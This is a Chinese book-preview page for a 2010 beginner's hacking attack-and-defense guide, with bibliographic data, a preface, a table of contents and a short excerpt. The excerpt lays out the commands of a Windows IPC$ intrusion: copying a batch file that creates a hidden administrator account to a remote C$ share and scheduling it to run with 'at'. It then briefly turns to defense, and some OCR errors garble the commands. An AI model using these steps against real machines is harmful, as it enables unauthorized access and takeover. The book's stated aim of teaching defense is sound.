第一图书网, tushu007.com

<<黑客攻防从新手到高手>>

图书基本信息

书名：<<黑客攻防从新手到高手>>

13位ISBN编号：9787113112462

10位ISBN编号：7113112463

出版时间：2010-8

出版时间：中国铁道出版社

作者：蒋媛媛

页数：310

字数：471000

版权说明：本站所提供下载的PDF图书仅提供预览和简介，请支持正版图书。

更多资源请访问：http://www.tushu007.com

第一图书网, tushu007.com

前言

编写简介目前，互联网在不断地迅猛发展，给人们的生活提供了无限自由和大量财富，也为广大网民间的交流提供了极大方便。
但是，与此同时互联网也带来了消极影响，“ 信息垃圾 ”、“ 邮件炸弹 ”、“ 电脑病毒 ”、“ 黑客入侵 ”等越来越威胁到网络的安全。
尤其是电脑黑客攻击，现在已成为威胁网络安全的最大隐患。
本书旨在使读者了解黑客的攻击手段，使读者在实际网络应用中遇到黑客攻击时，能够最大限度地减少损害和损失。
更为重要的是，希望读者能够运用本书介绍的攻防技术来防范黑客的恶意攻击，使自己的网络更加安全。
内容概述本书的主线是电脑黑客的“ 攻 ”与“ 防 ”，每章基本上都是围绕这两点进行深入讲解的。
内容涵盖黑客攻防工具和各种黑客攻防技术，并着重讲解了电脑安全软件的使用以及黑客攻防实战技巧等实用知识。
全书共分为13章，主要内容包括黑客基础知识、常用扫描与嗅探工具、windows系统漏洞攻防、设置系统安全策略、系统与文件加密、远程控制攻防、木马攻防、聊天软件攻防、网页恶意代码攻防、电子邮件攻防、u盘病毒攻防、使用电脑安全软件、黑客攻防实用技巧等知识。
本书特色每个初学者都想通过最行之有效的学习方法、最简洁易懂的讲解方式尽可能多地掌握电脑操作技能和技巧，本书将是您最好的选择。
本书由资深电脑教育专家精心策划编写而成，主要具有以下特色：内容全面权威、讲解深入浅出：针对电脑初学者，内容涵盖电脑黑客攻防的各个方面，权威全面、循序渐进，讲解清晰明了、深入浅出，让读者一看就懂，一练就会。
全程实战图解、注重学习方法：采用全程图解的形式组织编写，简便直观、可操作性强，并注重培养读者正确、高效的学习方法，达到立竿见影的学习效果。
全新教学模式、提升实战技能：采用“ 全程图解教学+多媒体视频讲解 ”的模式，并以图解标注突出讲解关键性操作步骤，使读者轻松掌握实战操作技能，即学即用。
光盘互动教学、书盘完美合一：超长全新的多媒体互动学习光盘，囊括全书重要知识点和所有实战操作的全程教学视频或课件，为读者提供了一套生动鲜明的“ 活教材 ”。

第一图书网, tushu007.com

<<黑客攻防从新手到高手>>

内容概要

本书内容的主线是针对电脑黑客攻击的防御技术，内容涌盖了黑窖基础知识、常用扫描与嗅探工具、windows系统漏洞攻防、设置系统安伞策略、系统与文件加密、远程控制攻防、木马攻防、聊天软件攻防、网页恶意代码攻防、电子邮件攻防、U盘病毒攻防、使用电脑安全软件、黑客攻防实用技巧等知识。

本书内容权威全面、讲解深入浅出，全程实战图解、注重学廾方法，精心开设栏目、伞新学习体验，光盘互动教学、书盘完美合，非常适合没有任何电脑黑客攻防知识的初学肯以及大中专院校的在校学生和社会电脑安全培训机构的学员使用，也可作为网络安全从业人员、网络管理员的参考用书。

第一图书网, tushu007.com

<<黑客攻防从新手到高手>>

书籍目录

01 黑客基础知识 1.1 揭开黑客的神秘面纱 1.2 认识IP地址 1.3 认识端口 1.4 了解黑客常用的命令 1.5 创建安全的测试环境02 常用扫描与嗅探工具 2.1 了解扫描目标的相关信息 2.2 认识扫描器 2.3 常见端口扫描器 2.4 常见多功能扫描器 2.5 常用网络嗅探工具03 Windows 系统漏洞攻防 3.1 认识系统漏洞 3.2 Windows中存在的系统漏洞 3.3 系统漏洞的监测与修复04 设置系统安全策略 4.1 设置本地安全策略 4.2 设置组策略 4.3 设置计算机管理策略 4.4 设置注册表编辑器安全05 系统与文件加密 5.1 为操作系统加密 5.2 为文件加密 5.3 使用加密软件加密 5.4 破解管理员账户06 远程控制攻防 6.1 基于认证入侵 6.2 通过注册表入侵. 6.3 Windows XP远程控制 6.4 使用网络执法官 6.5 使用远程控制软件07 木马攻防08 聊天软件攻防09 网页恶意代码攻防10 电子邮件攻防11 U盘病毒攻防12 使用电脑安全构件13 黑客攻防实用技巧

第一图书网, tushu007.com

章节摘录

插图：步骤一：编写BAt文件。
打开记事本，输入net user sysbak 123456/add和net localgroupadministrators sysback/add命令，然后把该文件另存为hack.bat。
步骤二：与目标主机建立IPC：$连接。
在上面的实例中已经介绍过这一步骤，所以在此省略。
步骤三：复制文件至目标主机。
打开MS-DOS，输入copy hack.bat//192 168.27.128/c$命令，copy命令执行成功后，就已经把D盘下的hack.bat文件复制到192.168.27.128R的C盘内。
此外，也可以在图形界面下把hack.bat复制、粘贴到目标主机中。
步骤四：通过计划任务使远程主机执行hack.bat文件。
打开MS.DOS，输入net time//192 168.27.128命令。
假设回显的目标系统时间为13：33，然后根据该时间为远程主机建立计划任务。
输入at//192.168.27.128 13：45 cAhack.bat命令，该命令表示在下午13点45分执行目标主机c盘中的hack.bat文件。
计划任务添加完毕后，使用命令net use/del断开IPC$连接。
步骤五：验证账号是否成功建立。
等待一段时间后，估计远程主机已经执行了hack.bat文件。
通过建立IPC$连接来验证是否成功建立sysback账号。
如果连接成功，说明管理员账号sysback已经成功建立。
Work4 IPC$入侵防范IPC$为入侵者远程连接目标主机提供了可能，入侵者所使用的工具中有很多是基于IPC$来实现的。
IPC$在为管理员们提供了方便操作的同时，也留下了严重的安全隐患。
因此，如果成功地阻止了IPC：$入侵，也就阻挡了相当一部分入侵者。

第一图书网, tushu007.com

编辑推荐

《黑客攻防从新手到高手》从零入门，快速掌握软件应用。
DVD教学视频，精选50个精彩视频直播，6小时案例讲解全程再现，附赠《电脑常见故障诊断与排除从新手到高手》和《系统优化与故障排除从新手到高手》教学视频。
采用全程图解的形式编写，可操作性强，立竿见影。
“全程图解教学+多媒体视频讲解”教学模式，轻松上手，超值光盘互动教学，书盘完美结合。
多媒体教学：13个专题细致讲解，深入剖析。
360分钟多媒体视频演示，轻松学习，大量精彩实例完美讲解，边学边练。
制胜法宝1：图解互动全新教学法+轻松攻克难关的视频教学。
制胜法宝2：个性化情景写作方法+技巧说明的新手学习模式。
制胜法宝3：轻松的步骤分解剖析+自学不求人的掌中宝手册。

第一图书网, tushu007.com

版权说明

本站所提供下载的PDF图书仅提供预览和简介，请支持正版图书。

更多资源请访问:http://www.tushu007.com